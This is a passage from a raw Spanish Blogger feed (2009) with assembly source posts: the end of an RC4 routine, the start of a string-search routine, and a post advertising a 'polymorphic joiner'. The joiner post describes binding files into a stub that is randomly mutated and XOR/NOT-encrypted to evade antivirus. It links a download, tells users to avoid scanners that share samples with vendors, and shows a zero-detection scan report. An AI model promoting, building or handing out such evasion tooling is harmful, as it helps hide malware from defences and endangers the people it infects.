bold;"&gt;dec&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt; &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;; esi = -1&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;bucle3_&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;inc&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;inc&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;stdcall&lt;/span&gt; lMod&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;256&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;xor&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;movzx&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;byte&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;s&lt;span style="color: rgb(51, 153, 51);"&gt;+&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;add&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;stdcall&lt;/span&gt; lMod&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;256&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;lea&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;s&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;cl&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;byte&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;+&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt; &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;; s(j)&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ch&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;byte&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;+&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt; &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;; s(i)&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;byte&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;+&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;cl&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;byte&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;+&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ch&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;pBuffer&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;add&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;cl&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ch&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;movzx&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;cl&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;lea&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;s&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;add&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;edx&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;movzx&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;byte&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;stdcall&lt;/span&gt; lMod&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;256&lt;/span&gt;&lt;br&gt;&amp;nbsp;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;pBuffer&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;xor&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;byte&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;edx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;+&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;al&lt;/span&gt;&lt;br&gt;&amp;nbsp;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;cmp&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;pTamñoBuffer&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;jne&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;bucle3_&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;popad&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;ret&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;endp&lt;/span&gt;&lt;br&gt;&amp;nbsp;&lt;br&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;proc&lt;/span&gt; lMod&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;c1&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;c2&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;push&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edx&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;xor&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;edx&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;c1&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;idiv&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;c2&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;push&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edx&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;pop&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;pop&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edx&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;ret&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;endp&lt;/span&gt;&lt;br&gt;&amp;nbsp;&lt;br&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;proc&lt;/span&gt; Len&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;cCadena&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;push&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;-1&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;cCadena&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;al&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;repnz&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;scasb&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;not&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;dec&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;pop&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;ret&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;endp&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;end&lt;/span&gt; start&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/525026250660735124-2033325669487847408?l=diariodeyst.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://diariodeyst.blogspot.com/feeds/2033325669487847408/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=525026250660735124&amp;postID=2033325669487847408&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/525026250660735124/posts/default/2033325669487847408'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/525026250660735124/posts/default/2033325669487847408'/><link rel='alternate' type='text/html' href='http://diariodeyst.blogspot.com/2009/06/rc4.html' title='RC4'/><author><name>YST</name><uri>http://www.blogger.com/profile/06921749862062454422</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-525026250660735124.post-3719649822364846073</id><published>2009-05-20T02:52:00.001-07:00</published><updated>2009-05-20T02:52:32.046-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Programas'/><title type='text'>Poliformic Small joiner 1.1v</title><content type='html'>&lt;span style="line-height: 1.3em;font-size:15;" &gt;Poliformic Small joiner 1.1v&lt;/span&gt;&lt;br /&gt;&lt;div align="center"&gt;&lt;img src="http://www.jccharry.com/greencode/filemanager/index.php?wfm-ruta=%2FYST%2FfondoPSM.PNG" alt="" border="0" /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;¿Que es Poliformic Small joiner?&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Es un joiner que tiene capacidades para generar varios stub diferentes y unir infinitos archivos.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Caracteristicas&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul style="margin-top: 0pt; margin-bottom: 0pt;"&gt;&lt;li type="square"&gt;Cambiador de icono{&lt;/li&gt;&lt;/ul&gt;- En el caso de la seleccion de esta opción se crea una sección de resource en el stub para contener el icono de caso contrario no tendra sección de resource el stub , aparte que tiene soporte para 16x16 ,32x32,etc..&lt;br /&gt;}&lt;br /&gt;&lt;ul style="margin-top: 0pt; margin-bottom: 0pt;"&gt;&lt;li type="square"&gt;Forma de obtener nuestra ruta {&lt;/li&gt;&lt;/ul&gt;- Esta es la forma de que el stub obtendra su ruta que por cierto si se selecciona una de las opciones en el stub solo estara esa opción al contrario de otros joiner que en el stub hace una comparacción para saber que hacer teniendo en el stub mismo todas las posibilidades , son 3 las opciones para obtener nuestra ruta que son :&lt;br /&gt;&lt;ul style="margin-top: 0pt; margin-bottom: 0pt;"&gt;&lt;li&gt; Api GetModuleFileNameW&lt;/li&gt;&lt;li&gt; Api GetCommandLineW&lt;/li&gt;&lt;li&gt; Mediante FS&lt;/li&gt;&lt;/ul&gt;}&lt;br /&gt;&lt;ul style="margin-top: 0pt; margin-bottom: 0pt;"&gt;&lt;li type="square"&gt;Modificar un poco el stub {&lt;/li&gt;&lt;/ul&gt;Lo que hace esta opción es cambiar mediante un sistema aleatorio algunas instrucciones de el stub,&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;ul style="margin-top: 0pt; margin-bottom: 0pt;"&gt;&lt;li type="square"&gt;Encriptar nuestro codigo {&lt;/li&gt;&lt;/ul&gt;Lo que hace esta opcion mediante un xor o un not (a elegir) todo el codigo de el stub haciendolo mas dificil de detectar por los AV.&lt;br /&gt;}&lt;br /&gt;&lt;hr /&gt;&lt;a href="http://www.jccharry.com/greencode/filemanager/index.php?wfm-ruta=%2FYST%2FPoliformic+Small+Joiner.exe" target="_blank" class="posted"&gt;Descargar&lt;/a&gt;&lt;br /&gt;&lt;hr /&gt;Esta versión es basica , cada dia se le agregaran nuevas opciones y se le mejoraran otras.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="line-height: 1.3em;font-size:20;" &gt;No subir ni a virustotal ni a ningun scanner que no sea &lt;a href="http://novirusthanks.org/" target="_blank" class="posted"&gt;http://novirusthanks.org&lt;/a&gt; con la casilla de no mandar muestras&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;hr /&gt;Muestra de stub conteniendo un archivo de texto con las opciones&lt;br /&gt;&lt;ul style="margin-top: 0pt; margin-bottom: 0pt;"&gt;&lt;li type="square"&gt;Encriptar nuestro codigo = MEdiante NOT&lt;/li&gt;&lt;li type="square"&gt;Forma de obtener nuestra ruta = Api GetCommandLineW&lt;/li&gt;&lt;li type="square"&gt;Modificar un poco el stub= Si&lt;/li&gt;&lt;li type="square"&gt;Con icono? = Si&lt;/li&gt;&lt;/ul&gt;&lt;i&gt;File Info&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Report generated: 20.5.2009 at 11.35.03 (GMT 1)&lt;br /&gt;Filename: rrp3.exe&lt;br /&gt;File size: 11 KB&lt;br /&gt;MD5 Hash: 4CF141CE8CC2D4BDE697D9D377103C87&lt;br /&gt;SHA1 Hash: D8D090CDBE3A02FDD49B31D5C1342F28DDC00922&lt;br /&gt;Packer detected: Nothing found [Overlay] *&lt;br /&gt;Self-Extract Archive: Nothing found&lt;br /&gt;Binder Detector:  Nothing found&lt;br /&gt;Detection rate: 0 on 24&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Detections&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;a-squared - &lt;span style="color:green;"&gt;Nothing found!&lt;/span&gt;&lt;br /&gt;Avira AntiVir - &lt;span style="color:green;"&gt;Nothing found!&lt;/span&gt;&lt;br /&gt;Avast - &lt;span style="color:green;"&gt;Nothing found!&lt;/span&gt;&lt;br /&gt;AVG - &lt;span style="color:green;"&gt;Nothing found!&lt;/span&gt;&lt;br /&gt;BitDefender - &lt;span style="color:green;"&gt;Nothing found!&lt;/span&gt;&lt;br /&gt;ClamAV - &lt;span style="color:green;"&gt;Nothing found!&lt;/span&gt;&lt;br /&gt;Comodo - &lt;span style="color:green;"&gt;Nothing found!&lt;/span&gt; &lt;br /&gt;Dr.Web - &lt;span style="color:green;"&gt;Nothing found!&lt;/span&gt;&lt;br /&gt;Ewido - &lt;span style="color:green;"&gt;Nothing found!&lt;/span&gt;&lt;br /&gt;F-PROT 6 - &lt;span style="color:green;"&gt;Nothing found!&lt;/span&gt;&lt;br /&gt;G DATA - &lt;span style="color:green;"&gt;Nothing found!&lt;/span&gt;&lt;br /&gt;IkarusT3 - &lt;span style="color:green;"&gt;Nothing found!&lt;/span&gt;&lt;br /&gt;Kaspersky - &lt;span style="color:green;"&gt;Nothing found!&lt;/span&gt;&lt;br /&gt;McAfee - &lt;span style="color:green;"&gt;Nothing found!&lt;/span&gt; &lt;br /&gt;MHR (Malware Hash Registry) - &lt;span style="color:green;"&gt;Nothing found!&lt;/span&gt;&lt;br /&gt;NOD32 v3 - &lt;span style="color:green;"&gt;Nothing found!&lt;/span&gt; &lt;br /&gt;Norman - &lt;span style="color:green;"&gt;Nothing found!&lt;/span&gt;&lt;br /&gt;Panda - &lt;span style="color:green;"&gt;Nothing found!&lt;/span&gt;&lt;br /&gt;Quick Heal - &lt;span style="color:green;"&gt;Nothing found!&lt;/span&gt;&lt;br /&gt;Solo Antivirus - &lt;span style="color:green;"&gt;Nothing found!&lt;/span&gt;&lt;br /&gt;Sophos - &lt;span style="color:green;"&gt;Nothing found!&lt;/span&gt;&lt;br /&gt;TrendMicro - &lt;span style="color:green;"&gt;Nothing found!&lt;/span&gt;&lt;br /&gt;VBA32 - &lt;span style="color:green;"&gt;Nothing found!&lt;/span&gt;   &lt;br /&gt;Virus Buster - &lt;span style="color:green;"&gt;Nothing found!&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Scan report generated by &lt;br /&gt;&lt;a href="http://novirusthanks.org/" target="_blank" class="posted"&gt;NoVirusThanks.org&lt;/a&gt;&lt;/i&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/525026250660735124-3719649822364846073?l=diariodeyst.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://diariodeyst.blogspot.com/feeds/3719649822364846073/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=525026250660735124&amp;postID=3719649822364846073&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/525026250660735124/posts/default/3719649822364846073'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/525026250660735124/posts/default/3719649822364846073'/><link rel='alternate' type='text/html' href='http://diariodeyst.blogspot.com/2009/05/poliformic-small-joiner-11v.html' title='Poliformic Small joiner 1.1v'/><author><name>YST</name><uri>http://www.blogger.com/profile/06921749862062454422</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-525026250660735124.post-3606372857328667589</id><published>2009-05-19T18:55:00.001-07:00</published><updated>2009-05-19T18:56:12.545-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ASM'/><title type='text'>[SRC] cInstr</title><content type='html'>&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;include&lt;/span&gt; &lt;span style="color: rgb(127, 0, 127);"&gt;'win32ax.inc'&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;code&lt;/span&gt;&lt;br&gt;start&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;stdcall&lt;/span&gt; cInstr&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;"98y4ct2y3Hola83925832c"&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;"Hola"&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt; = FALSE&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; MessageBox&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;"No esta."&lt;/span&gt;&lt;span style="color: rgb(51, 153, 